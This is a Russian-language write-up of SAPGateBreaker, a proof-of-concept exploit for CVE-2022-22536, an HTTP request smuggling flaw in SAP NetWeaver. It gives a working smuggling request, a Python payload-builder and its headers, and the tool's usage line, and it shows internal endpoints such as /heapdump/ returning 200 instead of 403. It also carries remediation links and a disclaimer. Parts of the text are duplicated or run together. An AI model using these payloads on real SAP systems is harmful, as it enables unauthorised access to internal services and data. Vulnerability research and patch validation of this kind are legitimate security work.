
SAPGateBreaker — это PoC-эксплойт для CVE-2022-22536, критической уязвимости HTTP Request Smuggling в SAP NetWeaver. Он демонстрирует, как обойти ACL, десинхронизируя разбор запросов между ICM и внутренними сервисами с помощью специально сформированных payload-ов на основе Content-Length.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 и SAP Web Dispatcher уязвимы для контрабанды запросов и конкатенации запросов. Неаутентифицированный злоумышленник может добавить произвольные данные перед запросом жертвы. Таким образом, злоумышленник может выполнять функции, выдавая себя за жертву, или отравлять промежуточные веб-кеши. Успешная атака может привести к полной компрометации конфиденциальности, целостности и доступности системы.
SAPGateBreaker — это PoC-эксплойт для CVE-2022-22536, критической уязвимости HTTP-контрабанды запросов в SAP NetWeaver. Он демонстрирует, как обойти ACL путем десинхронизации разбора запросов между ICM и внутренними службами с помощью специально созданных полезных нагрузок на основе Content-Length.

Уязвимость, обозначенная как CVE-2022-22536, представляет собой критический дефект в SAP NetWeaver Application Server, подвергающий установки атакам HTTP-контрабанды запросов. Эта уязвимость с оценкой CVSS 9.8 затрагивает как стек Java, так и стек ABAP, позволяя злоумышленникам обходить механизмы контроля доступа и взаимодействовать с внутренними приложениями так, как если бы они находились во внутренней сети.
Понимание HTTP-контрабанды запросов
HTTP Request Smuggling (HRS) — это продвинутая техника, использующая расхождения в том, как различные компоненты веб-инфраструктуры (обычно прокси, балансировщики нагрузки и внутренние серверы) интерпретируют границы между HTTP-запросами. Манипулируя заголовками, такими как и , злоумышленник может «протащить» вредоносный запрос, который десинхронизирован с тем, что ожидает внутренний сервер.
Content-LengthTransfer-EncodingПо сути, когда внешний и внутренний серверы расходятся во мнениях о том, где заканчивается один запрос и начинается следующий, злоумышленник может внедрить второй, скрытый запрос, который будет обработан с повышенным доверием. Это часто приводит к обходу безопасности, такому как обход WAF, отравление кеша или обход ACL.
Природа CVE-2022-22536
ICM (Internet Communication Manager) SAP неправильно разбирает специально созданные HTTP-запросы, что позволяет контрабандному запросу достигать внутренних служб. Это особенно актуально в сегментированных архитектурах, где прямой доступ к внутренним службам ограничен. Эксплуатация этой уязвимости позволяет злоумышленникам отправлять запросы, которые кажутся исходящими из доверенной внутренней сети.
Уязвимость проявляется, когда полезная нагрузка злоупотребляет конфликтующими интерпретациями конца HTTP-запроса. Обычно это включает внедрение заголовка Transfer-Encoding: chunked или манипуляцию полем Content-Length для вызова десинхронизации.
Первоначальные неудачи полезных нагрузок и отклонение chunked-кодирования
Во время тестирования полезные нагрузки, использующие канонические техники chunked-контрабанды, приводили к ответам 408 Request Timeout от SAP ICM. Такое поведение указывало на то, что HTTP-стек SAP не поддерживает Transfer-Encoding: chunked ожидаемым образом, что препятствовало традиционной chunked-десинхронизации.
В результате методология эксплойта сместилась в сторону использования заголовков Content-Length для десинхронизации. Специально созданный запрос с пустой chunked-полезной нагрузкой, за которой следует допустимый вторичный HTTP-запрос, успешно обходил границы запросов. Эта альтернативная стратегия оказалась эффективной для обхода внутренних механизмов контроля доступа.
Финальная стратегия эксплойта и реализация кода
Рабочий эксплойт отправляет POST-запрос на общедоступную конечную точку (/sap/admin/public/default.html) с заголовком Content-Length, за которым следует встроенный GET-запрос, предназначенный для обращения к внутреннему ресурсу.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
Это приводит к успешному внутреннему доступу:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
Реализация перебирает список внутренних URL-адресов SAP, которые обычно ограничены. Сравнивается код состояния, полученный при прямом доступе, и код состояния, полученный при доступе через контрабандный запрос. Если внутренний доступ возвращает 200 (в то время как прямой доступ возвращает 403 или 404), это указывает на то, что техника контрабанды успешно обошла внутренние механизмы контроля доступа.
Логика построения полезной нагрузки:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
Атака выполняется с помощью специально созданного POST-запроса, содержащего контрабандную полезную нагрузку:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
Наблюдаемые результаты
В нескольких тестовых случаях конечные точки, такие как /sap/public/bc/icf/info или /heapdump/, которые обычно возвращали 403 Forbidden или 404 Not Found, отвечали 200 OK при обращении через контрабандный запрос. Это демонстрирует успешный обход механизмов контроля доступа SAP.
Вывод инструмента включал как отправленные полезные нагрузки, так и заголовки ответов, что позволяло провести точную криминалистическую валидацию:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
Нормальный запрос:


Эксплойт-запрос:


Заключение
CVE-2022-22536 подчеркивает постоянную угрозу, которую представляет HTTP-контрабанда запросов в современных стеках корпоративного ПО. Представленное доказательство концепции является демонстрацией базовой уязвимости и служит инструментом для валидации и тестирования защиты.
Администраторам настоятельно рекомендуется применять обновления безопасности SAP и внедрять соответствующие меры защиты на обратных прокси, чтобы предотвратить распространение деформированных HTTP-запросов.
Дополнительные сведения о CVE-2022-22536 можно найти по адресу: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
Примечание SAP по безопасности: https://launchpad.support.sap.com/#/notes/3123396
Эксплойт SAPGateBreaker
SAPGateBreaker — это автономный Python-инструмент, который автоматизирует тестирование CVE-2022-22536, критической уязвимости HTTP-контрабанды запросов в SAP NetWeaver Application Server.
Использование
python3 sapgatebreaker.py -u http://<целевой-хост>:<порт> [--verbose]
Аргументы:
-u, --url: Целевой URL (например, http://172.32.22.7:50000)-v, --verbose: Включает подробный вывод заголовков и тела для каждого запроса и ответаОсобенности:
poc.txt для дальнейшего анализаУстранение уязвимости: https://community.sap.com/t5/technology-blogs-by-members/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation/ba-p/13528083
Отказ от ответственности
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Несанкционированное использование против систем без явного разрешения строго запрещено и может нарушать действующее законодательство.